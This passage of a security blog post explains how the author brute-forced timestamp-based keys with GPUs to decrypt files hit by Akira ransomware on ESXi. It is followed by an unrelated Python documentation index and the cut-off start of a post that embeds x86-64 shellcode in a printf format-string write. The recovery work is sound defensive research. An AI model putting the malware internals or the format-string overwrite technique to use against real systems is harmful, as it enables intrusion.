generate_random(chacha8_nonce, 16); generate_random(kcipher2_key, 16); generate_random(kcipher2_key, 16); Each generate_random call uses the current nanosecond timestamp as a seed. Therefore, there are four unique timestamps that need to be identified. The ransomware generates different keys for each file . These keys are then saved at the end of the file as a trailer , encrypted with RSA-4096 and padded using PKCS#11 padding . The files are divided into N blocks , and a percentage of each block is encrypted. This percentage is defined by the ransomware’s -n parameter. For each block: The first 0xFFFF bytes are encrypted using KCipher2 . The remaining bytes are encrypted using Chacha8 .. The following picture shows how a file is split. Note that, for very small files, knowing the Chacha8 key and IV isn’t necessary.. After studying various VMware filetypes (I will go deeper into this later), I am convinced that the most important files (flat VMDK and sesparse files) has a fixed header, and I can use that to attack the encryption. Other details At this point, I didn’t analyze deeper. But I am sure that I can reverse engineer the rest of the algorithms later, specifically: How to split the file into blocks How is the encryption performed across blocks, does it continue the stream? These details will be important later. However, for now, if we can’t successfully brute-force the timestamps, none of the other steps will matter. Bruteforce feasibility The approach is as follows: Generate two timestamps ( t3 and t4 ). Convert these timestamps into seeds and generate random bytes. Use these bytes as the KCipher2 key and IV . Encrypt known plaintext and compare the result with the known ciphertext from the encrypted file. Lets make a plan: Check feasibility : Determine if brute-forcing is fast enough to be practical. Identify the plaintext : Known plaintext is required for brute-forcing. Estimate the seed initialization time : We need to know when the encryption seed was initialized, at least with second-level precision . This knowledge can reduce the brute-force scope to about 1 billion values . The simplest (but inefficient) way is to try all possible timestamp pairs where T4 > T3 . The number of possible pairs is calculated as: N×(N−1)/2 With N = 1 billion , that results in 500 quadrillion possible pairs. We need to optimize this. First we need to convert all the nanoseconds in a one-to random values: On my mini PC CPU , I estimated a processing speed of 100,000 timestamp to random bytes calculations per second (utilizing all cores). This means it would take about 10,000 seconds (under 3 hours ) to convert all timestamps to seed values. Once converted, these values can be saved for reuse. Later, I optimized the process using a GPU , reducing the conversion time from 3 hours to under 6 minutes . If we have a completely deterministic machine, without any interruption, we can run the malware, measure it, know the exact time between T3 and T4. But unfortunately we don’t have this: The malware uses multiple threads, It runs on a machine that is not idle, the distance between T3 and T4 varies based on the scheduler and how busy the system at that time. The code also calls a lot of C++ libraries, which allocates and deallocates objects and makes the execution time more unpredictable. To be clear: we need to enumerate t3 (1 billion values for each second) we dont start at t3 + 1, but at t3 + start offset, since we know that seeding the value takes time (at least a million nanosecond on my machine), this is the “ start offset “ we assume that it will only take a few million nanosecond to until the next code is executed (remember: there can be interruptions because of the CPU scheduler, and there are several millions instructions executed). This is the “ offset range ” value What we can do is to try to run the exact same code as the malware, collect timing data, and try to find a range that statistically makes sense. Using the same technique that I use on my previous post , instead of recreating the algorithm and running it, I just modified the malware and tested on several local machines that I have. The runtime varies quite a lot between machines. My friend Deny went to the datacenter and did the test on the real hardware that was infected. The result is: the time range varies, and sometimes quite a lot. The normal range of the offset is around 2-4 million nanoseconds (so the offset range is 2 million), but the value varies from 1.5 – 5 million (total offset range is 4.5 million). We still need to enumerate 4.5 quadrillion pairs, but this appears to be doable. If we have a system capable of running 50 million encryptions per second, the process would take a few hundred days. However, with 16 such systems, we could complete it in a few months on a CPU. By renting additional machines, we could speed up the process even further. Later, I optimized this using a GPU, achieving a significant speed improvement. I wasn’t sure about how fast we can do Kicpher2, but a quick comparison with chacha, and some quick benchmarking shows that using CPU ony, I should be able to do at least millions of Kichper operations per second on my machine. As explained before, if t3 and t4 are correct, we will be able to decrypt the first 8 bytes of the file, and it will decrypt to a known plaintext. Next lets check the feasibility of obtaining plaintext from different VMware files VMWare File Types For each file, we need a plaintext sample: the first 8 bytes of the file for KCipher2 (offset 0) and another 8 bytes starting from offset 65,535 (only for large files). Since each block of KCipher2 is 8 bytes, we should use an 8-byte plaintext. It is possible to use fewer bytes (by using bit masking), but this could increase the risk of false positives. Flat-VMDK This is a raw disk file. If you’re lucky, this might be the only file you need to recover. However, if snapshots were made (as in this client’s case), the new data would be written to sesparse files. To obtain the first 8 bytes of the flat VMDK, you’ll need to install the same OS that was used on the original VM. There are several variations of bootloaders used by different OS versions. To determine which OS was used, check the corresponding VMX file. It should contain partially readable plaintext, allowing you to inspect the configuration for “guestOS”. You might find something like: guestOS=”ubuntu”. However, ideally, you already have documentation regarding which OS was used for each VM, so you don’t have to rely on this method. For the bytes at position 65,535 (plaintext for Chacha8), it is almost always guaranteed to be zero, since the partition typically starts at a later sector. Sesparse If you create snapshots for your VM, there will be a SESPARSE file for each snapshots. We can see the file format from the QEMU source code. https://github.com/qemu/qemu/blob/master/block/vmdk.c The file header is 0x00000000cafebabe , and at position 65,535, it should be 0x0 (at least, that’s what I observed in my analysis). Other files Other files are not critical for restoring a working VM, but for initial testing, understanding the time distribution can be helpful. If there are many small files with the same timestamp, it’s useful to know if they cluster within a specific timestamp range. Here are some common file signatures to identify plaintexts: NVRAM files start with: 4d 52 56 4e 01 00 00 00 VMDK files (disk descriptor) start with the string: # Disk Descriptor .VMX files start with: .encoding VMware log files have lines starting with the format: YYYY-MM-DD Since these files are partially readable, we can often guess the initial timestamp based on the beginning of the file (e.g., the YYYY-MM- part of the log). By identifying plaintexts in these files, the next step is to narrow down the timestamp for accurate brute-forcing. Encryption timestamp Now that we know brute-forcing is feasible and we have both plaintext and ciphertext, the next step is to determine when the encryption occurred for each file (since each file will have different keys). ESXI log The command used to run the malware is recorded in the shell.log file (including the setting for n, which defines how much of the file should be encrypted). Some ESXi hosts provide millisecond resolution in their logs, while others only offer second-level precision. This log gives us the initial timestamp for when the malware started. For example, if the log shows that the malware started at 10:00:01.500, we can safely ignore the first 500 million nanoseconds when brute-forcing, which helps narrow down the search range. Filesystem timestamp and modification time Unfortunately, ESXi file systems do not support nanosecond precision. Another challenge is that the file modification time is recorded only when the file is closed. This means the recorded timestamp might not exactly reflect the moment when the encryption process started but rather when it ended. In Linux (using most filesystems), timestamp accuracy is nanosecond For small files, encryption typically takes only a few milliseconds, so the timestamp will most likely reflect the exact second when the file was encrypted. The next step is to determine the encryption time for larger files, where the process takes longer and the timestamps may be less precise. in VMFS, accuracy is second Multithreaded Encryption The malware uses multithreading, where each file is processed in a new thread, with a pool of workers limited by the number of CPU cores. This has both advantages and disadvantages. If the malware targets a single directory and the number of files is less than the number of CPU cores, the process is straightforward—each file will have a timestamp that is very close to the others. On an ESXi machine, it’s common to have CPUs with a large number of cores (in this case, the server has 64 cores). When checking for timestamps using: find /vmfs/volumes -exec stat {} \; we should be able to identify small files that were encrypted first. During brute-forcing, we can then check multiple files simultaneously for that specific moment in time. Files processed first will have similar timestamps, but things become more complex for files processed later. For larger files, encryption can take seconds to minutes, and the modification time will reflect when the file was closed, which is significantly later than when the encryption key was actually generated. The malware uses boost::filesystem for traversing directories and files. The iterator in boost::filesystem follows the order returned by readdir , which is the same order observed when using commands like ls -f or find . . Let’s consider an example where we have 4 CPU cores and 8 files. If the files are tiny (less than 1 KB, such as VMDK descriptor files), their processing is almost instantaneous (within milliseconds). Here’s how the processing might look: Threads A, B, and C each find and process small files ( file_a , file_b , file_c ), while Thread D finds a large file ( file_d ). All four files are processed immediately . Once Threads A, B, and C complete, they begin processing the next set of files ( file_e , file_f , file_g ). However, these files are larger and require more processing time . While the other three threads are still working, Thread D finishes processing the large file_d and starts working on the final file ( file_h ). As a result, the starting timestamp of file_h will align with the completion time of file_d . Now, imagine having hundreds of files—it becomes difficult to determine the exact processing order. However, one consistent observation is that the encryption start time for a file is likely to be the same or very close to the modification time of another file. This is because, once a thread finishes processing and closes a file (thereby recording its modification time), it will immediately start processing the next available file. This creates a sequence where the encryption start time of one file is closely linked to the modification time of the previous file. So given few hundred files and plenty of CPU cores, we may only have a list of a few seconds where the malware will start to generate the random keys. So now we have the final part of the puzzle: we know when the encryption was performed. Network Filesystem While reviewing the client’s logs, I noticed some entries mentioning the use of NFS. However, after clarification, it was confirmed that NFS was used only for backups and was not affected. All relevant files were stored on local disks on the server. If a network filesystem had been used, it would have complicated the process. If the network time between systems wasn’t perfectly synchronized, the timestamps might have been inaccurate or unreliable, further complicating the brute-force process. Creating the bruteforcer The plan seemed solid, so the next step was to implement the code. I needed to confirm whether the encryption process worked exactly like the malware. To test this, I patched the malware code to make the gettime function return a constant value of 0, ensuring predictable and consistent results during testing. KCipher2 I focused on KCipher2 because not all files use the Chacha8 key, particularly small files. Although KCipher2 is a standard encryption algorithm, it’s not widely known, and I couldn’t find an optimized implementation for it. During experimentation, I noticed that my results didn’t match the standard KCipher2 implementations available online. It turned out that the malware included a slight modification in the initialization vector and the encryption process, specifically involving endian swapping. CUDA I’m not an expert in CUDA programming. About 10 years ago, I briefly experimented with it but couldn’t find a practical use case for the company I worked for at the time. To accelerate development, I asked ChatGPT (o1) to port the code to CUDA. The code compiled successfully but produced incorrect results. It turned out that ChatGPT had slightly modified the numbers in the constant tables. After manually correcting these values, the code began to work. Although the implementation ran, I suspected it was suboptimal, but I wasn’t able to get further optimization suggestions from ChatGPT (o1). At that point, I had two options: spend more time optimizing the code or proceed with the predicted offset range and refine the code along the way. I chose to start testing immediately and optimize as needed. Unfortunately, this approach turned out to be a waste of money, as it didn’t yield any successful results. At the start of the project, I only had two RTX 3060 GPUs. One was dedicated to my Windows machine, so I could only use one GPU on my Mini PC (connected externally via Oculink). To improve performance, I decided to purchase an RTX 3090. The price in Thailand was still reasonable compared to the 4090 or higher models. I tested the implementation by reading the key and IV from memory, encrypting zero blocks, and writing the results back to memory. The performance was disappointing, achieving only around 60 million encryptions per second. At this rate, the entire process would take about 10 years, clearly too slow for practical recovery. Manual Optimization I performed some manual optimizations by removing unnecessary code to improve performance: Only the first block is needed for brute force, so there was no need to handle additional blocks. The code was simplified to only encrypt blocks of zeroes, reducing unnecessary processing. Since only the first 8 bytes of the result were required, the rest of the output was ignored to minimize computation. Shared Memory After researching CUDA optimizations for AES, I discovered that using shared memory significantly improves performance, contrary to what ChatGPT suggested. Surprisingly, the extra steps involved in copying constant memory data to shared memory were negligible in terms of overhead but resulted in the code running several times faster. Avoiding Memory Writes Initially, I performed encryption on the GPU and matching on the host (CPU). However, this approach was slow, even when executed in parallel: generate encryption on GPU copy result to CPU Perform matching in a new thread and submit the next batch of work to the GPU. I found it much faster to avoid writing to memory altogether. Instead, the matching process is handled directly on the GPU, and no data is written to memory unless a match is found. This approach significantly reduced processing time and improved efficiency. Multiple files matching For each t3 and t4 combination, a match can occur for any file that shares the same second-level timestamp (but with different nanoseconds). To improve efficiency, we can attempt to match multiple files simultaneously. However, if there are too many files to match, the process can slow down significantly. Currently, the number of files processed in parallel is hardcoded to 32 to maintain a balance between performance and efficiency. The Loop I considered and implemented two ways to do the loop. For every t3 value, we could start a GPU kernel to check all offset ranges. However, this method is inefficient, as it would require launching the kernel a billion times, resulting in significant overhead.. Alternatively, we can launch a GPU kernel for each offset. Each kernel would then perform the necessary checks. This approach is much faster because it reduces the number of submissions to just the “offset range”, which is around 2 to 4.5 million jobs. Batch Checking Initially, my approach was to submit a task to the GPU, wait for the result using cudaDeviceSynchronize() , and then submit the next batch of work. However, this method proved to be slow. Submit work to the GPU, and if a match is found, simply mark it using a found flag. Only call cudaDeviceSynchronize() to check results every 100 steps. If a match is found, the flag is reset to zero before proceeding. While this method significantly improved performance, there’s a slight possibility that if two offsets are very close (less than 100 steps apart), the code might miss one of them. Although this issue never occurred during my tests, I added an optional mode of loop. In this mode, the program reads a list of offsets and ensures that nearby offsets are also checked manually to avoid missing any potential matches. Final Speed I believe that GPU experts could still find ways to further optimize my code. Currently, I’m achieving around 1.5 billion encryptions per second for KCipher2 on my RTX 3090. For testing 1 billion values with a single offset, it takes about 0.7 seconds, including the time to check for matches (with a maximum of 32 matches per batch). Testing 2 million offsets would require approximately 16 days on a single GPU, or just 1 day using 16 GPUs. I also conducted tests using Runpod , and the RTX 4090 turned out to be the ideal option. Although it’s about 60% more expensive than the 3090, it’s also 2.3 times faster. With a 4090, the same process would take around 7 days on a single GPU. Using 16 GPUs, the process could be completed in just over 10 hours. Running the brute force From a cost perspective, the RTX 4090 is an excellent choice for this task due to several factors: Large memory is not required. Floating-point operations are not needed. The RTX 4090 offers a high number of CUDA cores, enhancing processing speed. The rental price for an RTX 4090 is relatively low compared to other high-end GPUs. If the 4090 is unavailable, the 3090 is also a good alternative considering its price-to-performance ratio. Initially, my client considered using Google Cloud Platform (GCP) machines and seeking a discount for a month-long rental. However, this option proved to be extremely expensive (costing tens of thousands of USD). After some research, I found more cost-effective alternatives: Runpod and Vast.ai. Runpod To brute force 1 second (1 billion nanosecond), with offset range of 2 million, it will take 7 days. The cost for a RTX 4090 (at the time of this writing) is 0.69 USD/hour. It will cost around 116 USD to brute force a single second. Renting 16 GPUs will have the work finished in around 10 hours, same cost, but faster. Brute forcing with the range of 4.5 million (which is the range that we need) costs 261 USD. Depending on the number of encrypted files, you might need to brute force 10 or more seconds. If you have a lot of files to recover, weekly or monthly rent will be cheaper. Note: These costs assume everything is executed perfectly. Any mistakes or the need to repeat processes can significantly increase costs. In total, including all my experiments and tests, I spent around $1,200. Vast.ai Unlike runpod, when using vast.ai, you are renting a machine from some random person brokered by vast.ai. When doing the bruteforce, no sensitive data is sent, so privacy should not be a concern. Using vast AI, the bruteforce cost can be reduced to half, but this depends on your luck in obtaining the machine. The first few machines that I tested didn’t work (network timeout after around 10 minutes of waiting). I also had problem with pulling docker images from docker.io (I had to select another template from another docker repository). The rest of the work Now that I found the value of t3 and t4, I can try to find the value for t1 and t2. The value of t1 must be less than t3, and the time offset is less than 10 million nanoseconds. This can be found quickly in minutes using a single GPU. Block split algorithm Here is the algorithm used to split the file into parts: enc_block_size: for every parts/blocks, this is how many bytes to encrypt. The first 0xFFFFF will be encrypted using KCipher2, and the rest using Chacha8 part_size: the size of the block encrypted_parts: how many blocks to encrypt void compute_blocks(uint64_t filesize, uint8_t percent, uint64_t *enc_block_size, uint64_t *part_size, uint64_t *encrypted_parts) { int parts = 3; if ( percent > 49u ) parts = 5; uint64_t enc_size = filesize * (uint64_t)percent / 100; *enc_block_size = enc_size / parts; *encrypted_parts = parts - 1; *part_size = (filesize - *enc_block_size * (*encrypted_parts)) / parts; } Encryption Detail The malware uses the 8 rounds variant of Chacha called chacha8, not Chacha20 as many sites reported. For kcipher2, we will encrypt the first 65535 bytes (yes, not 65536). It means that one byte will remain from the first block, and this needs to be used for the next block For cacha20, we just throw away the rest of the encryption stream block when starting a new block Recovery Steps To recover your files without paying, it is not as straightforward as running a generic decryptor. You will need to: obtain timestamps of your files obtain ciphertext and plaintext for your files rent GPUs Note about the code To be honest, I originally wrote this code for one-time use, specifically for this particular client. The shared code is filled with experimental logic, quick hacks, and lacks proper testing. I don’t have the motivation to clean it up further, apart from removing some client-specific test cases and comments. It’s functional for the intended purpose. The software I provided includes only the main brute-force and decryption components, intended to be used once you have the necessary timestamps. I don’t have a dedicated system to manage multiple GPUs. Instead, I rely on basic shell scripting and a custom script that sends a Telegram message when a match is found. The code is “good enough for me” and simply “works for me.” In essence, you’ll need a capable system administrator who understands the process and knows how to manage and troubleshoot the system effectively. Building the code See README.md in the repository, it also has a sample config file to test that it works. Sample encrypted files and configuration files are also provided. Obtain timestamps I hope you haven’t touched the files, because all hope of recovery will be gone if the timestamps are unknown. Use stat filename to get the modification timestamp. Use find /vmfs/volumes -exec stat {} \; > /tmp/stats.txt to get the timestamp of everything. The file shell.log can help to figure out the minimum timestamp to use. Obtain ciphertexts Obtain the ciphertext, as explained above: For flat-vmdk, you need to extract this from the exact OS that you use (including the exact instalation method, e.g: using BIOS/UEFI) For sesparse file, use the header 0x00000000cafebabe For other files, see what I wrote above Measure server speed You can always just use an offset range of 1.5-5 million, but this may not be the correct range if your hardware is too fast or too slow. You can measure this by checking out the timing-patch-1 folder and timing-patch-2 folder on my github repository. The first one only measures time ranges by calling the function directly. The second one is used to encrypt a directory, but it is patched so that it will write down the exact time when the timestamp is used as the seed to /tmp/log.bin . Divide the work Create config files based on the ciphertext/plaintext and timestamp. You can create/split this manually, or use a script to generate it. My code doesn’t do any error checking, make sure the timestamp is in nanosecond format, make sure all plaintext and ciphertext values are correct. Rent GPUs If you want a very quick and easy setup, use runpod or other service. If you want to be cheap, use vast.ai, or run it on your own hardware (~ 1K USD for one RTX 3090, which you can resell later). Run Kcipher2 bruteforce The first brute force is to find t3 and t4 for Kcipher. ./anti-akira run config.json <gpuindex> For example: ./akira-bruteforce run2 config.json Append GPU index if you have multiple GPUs ./akira-bruteforce run2 config.json 1 I suggest running it inside tmux, so you will be fine in the event of network disconnect. If we are lucky, output.txt will be generated for each t3/t4 found. As explained above: this may take days (depending on GPU used), so please make sure: all the config files are good You are using the correct GPU index make sure everything is running check with nvidia-smi (with runpod, we can also view the GPU status using the web) make a notification system to alert you if output.txt is created/updated Run chacha8 bruteforce This is not necessary for small files, but it is neede for big files. For each offset found, generate a config with the t3 found in the previous step. On my target machine, the distance between t1 and t3 is less than 10 million, and the t1 to t2 is around 1.5 – 5 million. The brute force should only take around 10 minutes. Decrypt the files Note that the decryptor has the percentage hardcoded to 15 percent, so please change this before running the decryptor in case the attacker uses different value. Once we have obtained the t1, t2, t3, and t4, run the decryptor: ./decrypt filename.vmdk <t1> <t2> <t3> <t4> The decryption process is not optimized, so it will take a while to decrypt. Conclusion Probably 99.9% of the time when you get a ransomware, it won’t be recoverable without the key. But if you are lucky, sometimes it is possible to find a solution. It took me much longer than I anticipated to solve this, I thought that it would take a week, but it took me almost three weeks until we recover an entire set of VM files. I also would like to add that I found a reddit thread about akira ransomware , I wasn’t sure that the ransomware strain that I have is the same as theirs, and that is the reason why I just continue my own research and to open source it. I hope that my experience and code will be useful for someone else. Everytime I wrote something about ransomware (in my Indonesian blog), many people will ask for ransomware help. Many people can’t even find the ransomware executable (just the encrypted file, which is not useful). Just checking if the ransomware is recoverable or not may take several hours with a lot of efforts (e.g: if the malware is obfuscated/protected). So please don’t ask me to do that for free. Author admin Posted on March 13, 2025 November 7, 2025 Categories hacks , reverse-engineering , security Tags define , Final 76 thoughts on “Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs” Pingback: Decrypting Akira Ransomware on Linux/ESXi Without Paying Hackers Pingback: Decrypting Linux/ESXi Akira Ransomware Files Without Paying Ransomware Pingback: Decrypting Linux/ESXi Akira Ransomware Files Without Paying Ransomware – serisec Pingback: Victims of Akira Ransomware Could Unlock Their Data - TechNadu Pingback: 使用一堆GPU解密由Akira勒索软件加密的文件 - 偏执的码农 Pingback: Hacker News 今日TOP 20| 2025-03-15 - 出海掘金，无限可能。为独立开发者、跨境电商从业者、海外自媒体提供最新出海资讯和资源-出海掘金，无限可能。为独立开发者、跨境电商从业者、海外自媒体 Pingback: New Akira ransomware decryptor cracks encryptions keys using GPUs | CyberSec Bulletin Pingback: New Akira ransomware decryptor cracks encryptions keys utilizing GPUs - tech site Pingback: New Akira ransomware decryptor cracks encryptions keys using GPUs Pingback: Nuevo descifrtor de ransomware AKIRA grieta las claves de las criptas con GPU | NOTICIAS FINTECH LATAM Pingback: New Akira ransomware decryptor cracks encryptions keys using GPUs - Techcaro.com Pingback: New Akira ransomware decryptor cracks encryptions keys utilizing GPUs - Tech News 12 Pingback: New Akira ransomware decryptor cracks encryptions keys using GPUs - HackWatchit Pingback: New Akira ransomware decryptor cracks encryptions keys using GPUs - Digitpatrox Pingback: New Akira ransomware decryptor cracks encryptions keys utilizing GPUs - Drones Worldwide Pingback: Akira Ransomware rachou com RTX 4090-Novo Exploração para o ataque de criptografia de força bruta - ferreiradozezere.net Pingback: New Akira ransomware decryptor cracks encryptions keys utilizing GPUs - Aipioneerhub Pingback: New Akira ransomware decryptor cracks encryptions keys using GPUs - Tech AI Verse Pingback: درهمشکستن باجافزار Akira امکانپذیر است؛ اما با ۱۶ کارت گرافیک RTX 4090 – بجوی Pingback: New Akira ransomware decryptor cracks encryptions keys using GPUs - Shackle Media Pingback: 白帽駭客透過大量GPU枚舉4500兆個偏移值幫助客戶暴力破解勒索軟體復原數據 – WONGCW 網誌 Pingback: درهمشکستن باجافزار Akira امکانپذیر است؛ اما با ۱۶ کارت گرافیک RTX 4090 – رویداد 7 Pingback: 今日互联网—第3期 - 网海拾遗 Pingback: Researcher releases free GPU-Based decryptor for Linux Akira ransomware - Maple Grove Report Pingback: Researcher releases free GPU-Based decryptor for Linux Akira ransomware – ITSecurityNewsBox Pingback: Akira Ransomware: come è stato possibile decifrarlo con l'uso delle GPU - Matrice Digitale Pingback: To counter this dangerous ransomware, just a graphics card and a little patience - Aroged Pingback: Router Hacks, PyPI Attacks, New Ransomware Decryptor, and More | Cybersecurity News Pingback: ⚡ THN Weekly Recap: Router Hacks, PyPI Attacks, New Ransomware Decryptor, and More - Tech Investor News Pingback: Router Hacks & More Cyber News - FusionMindLabs Magazine Pingback: Router Hacks, PyPI Attacks, New Ransomware Decryptor, and More – Securitydone Pingback: ⚡ THN Weekly Recap: Router Hacks, PyPI Attacks, New Ransomware Decryptor, and More – Surveillent Cyber Pingback: ⚡ THN Weekly Recap: Router Hacks, PyPI Attacks, New Ransomware Decryptor, and More | PTechHub Pingback: Router Hacks, PyPI Attacks, New Ransomware Decryptor, and More - SwapUpdate Pingback: Router Hacks, PyPI Attacks, New Ransomware Decryptor, and More Pingback: Router Hacks, PyPI Attacks, New Ransomware Decryptor, and More - CyberMind - Free CyberSecurity Quizzes Pingback: ⚡ THN Weekly Recap: Router Hacks, PyPI Attacks, New Ransomware Decryptor, and More - O'Fallon IL Computer Support Pingback: New Akira Ransomware Decryptor Leans on Nvidia GPU Power - Security Boulevard Pingback: ⚡ THN Weekly Recap: Router Hacks, PyPI Attacks, New Ransomware Decryptor, and More - Cyber Defense Advisors Pingback: New Akira Ransomware Decryptor Leans on Nvidia GPU Power - HackWatchit Pingback: Akira Ransomware can be cracked by sixteen RTX 4090 GPU in about ten hours - New encryption at counterattack - Top4All Pingback: Akira ransomware can be cracked with sixteen RTX 4090 GPUs in around ten hours — new counterattack breaks encryption – Mist Vista Pingback: ⚡ THN Weekly Recap: Router Hacks, PyPI Attacks, New Ransomware Decryptor, and More - The TechBriefs Pingback: ⚡ THN Weekly Recap: Router Hacks, PyPI Attacks, New Ransomware Decryptor, and More - Shackle Media Pingback: Щотижневий підсумок THN - Oksim Pingback: Router Hacks, PyPI Assaults, New Ransomware Decryptor, and Extra - techlinkway Pingback: Pesquisador cria ferramenta contra ransomware Akira - CISO Advisor Pingback: Akira ransomware decryption method uses GPUs to brute force keys - theinfosecnews.com Pingback: New Akira ransomware decryptor cracks encryptions keys using GPUs – TriaLabs Pingback: GPU Power Unleashed: Decrypting Akira Ransomware with Brute Force - Daily Information Security Mark A says: March 18, 2025 at 4:50 am I am not a programmer. I do not code. And, thankfully, I don’t have any issues with ransomware. But I found a link to this blog and just read it out of curiosity. Amazing skill and effort. Fascinating work and good job. Reply Pingback: Developer breaks Akira ransomware encryption in hours using cloud GPUs – Sortiwa Portal Pingback: Розробник зламує шифрування програми-вимагача Akira за кілька годин за допомогою хмарних графічних процесорів - Oksim Pingback: 開發人員利用雲端GPU在數小時內破解了Akira勒索軟體的加密程序 – WONGCW 網誌 Pingback: GPUパワーでランサムウェア「Akira」を撃退：研究者が解読法を開発、10時間で暗号を解除 | XenoSpectrum Pingback: Innowacyjna metoda odszyfrowywania danych po ataku ransomware Akira - Kapitan Hack Pingback: GPU-powered Akira ransomware decryptor released on GitHub - Geek Feed Pingback: A single RTX 4090 managed to brute force crack an Akira ransomware attack in just 7 days | Arcader News Pingback: A single RTX 4090 managed to brute force crack an Akira ransomware attack in just 7 days – Gamer Fridge Pingback: A single RTX 4090 managed to brute force crack an Akira ransomware attack in just 7 days – Lokie.net Pingback: A single RTX 4090 managed to brute force crack an Akira ransomware attack in just 7 days – Virtunist Pingback: A single RTX 4090 managed to brute force crack an Akira ransomware attack in just 7 days – Prefer systems Pingback: Um único RTX 4090 conseguiu uma força bruta crack um ataque de ransomware de Akira em apenas 7 dias - ferreiradozezere.net Pingback: An RTX 4090 successfully decrypted an Akira ransomware attack through brute force in just one week. – Games News Hub Pingback: Router Hacks, PyPI Attacks, New Ransomware Decryptor, and More | techeology.com Pingback: This Week in Security: The Github Supply Chain Attack, Ransomware Decryption, and Paragon – Mist Vista Pingback: This Week in Security: The Github Supply Chain Attack, Ransomware Decryption, and Paragon – The Latest News! Pingback: This Week in Security: The Github Supply Chain Attack, Ransomware Decryption, and Paragon | 3d print ......errori ed esperienze, Pingback: Carta semanal de CERT-SE V.12-CERT-SE - BEQUO Pingback: Security Affairs newsletter Round 516 by Pierluigi Paganini – INTERNATIONAL EDITION – ITSecurityNewsBox Pingback: SECURITY AFFAIRS MALWARE NEWSLETTER ROUND 38 – ITSecurityNewsBox Pingback: Security Affairs newsletter Round 516 by Pierluigi Paganini – INTERNATIONAL EDITION – Security.info Pingback: Security Affairs newsletter Round 516 by Pierluigi Paganini – INTERNATIONAL EDITION - Source: securityaffairs.com - CISO2CISO.COM & CYBER SECURITY GROUP Pingback: New Akira ransomware decryptor cracks encryptions keys using GPUs - Protecting Your Digital Future Pingback: Un chercheur brise le ransomware Akira Javier says: June 17, 2025 at 9:26 am Amazing post, I believed that your code could be use in a windows version that I’m analyzing. Has the same nettle library incrusted but without log messages to identify it easily Reply Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://docs.python.org/3.0/ | Overview — Python v3.0.1 documentation Navigation index modules | Python v3.0.1 documentation » Python v3.0.1 documentation Welcome! This is the documentation for Python 3.0.1, last updated Feb 14, 2009. Parts of the documentation: What's new in Python 3.0? or all "What's new" documents since 2.0 Tutorial start here Using Python how to use Python on different platforms Language Reference describes syntax and language elements Library Reference keep this under your pillow Python HOWTOs in-depth documents on specific topics Extending and Embedding tutorial for C/C++ programmers Python/C API reference for C/C++ programmers Installing Python Modules information for installers & sys-admins Distributing Python Modules sharing modules with others Documenting Python guide for documentation authors Indices and tables: Global Module Index quick access to all modules General Index all functions, classes, terms Glossary the most important terms explained Search page search this documentation Complete Table of Contents lists all sections and subsections Meta information: Reporting bugs About the documentation History and License of Python Copyright Download Download these documents Other resources FAQs Introductions Guido's Essays New-style Classes PEP Index Beginner's Guide Topic Guides Book List Audio/Visual Talks Other Doc Collections Previous versions Quick search Enter search terms or a module, class or function name. Navigation index modules | Python v3.0.1 documentation » © Copyright 1990-2009, Python Software Foundation. Last updated on Feb 14, 2009. Created using Sphinx 0.6. | 2026-01-13T08:48:55 |
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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/#comment-23561 | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" 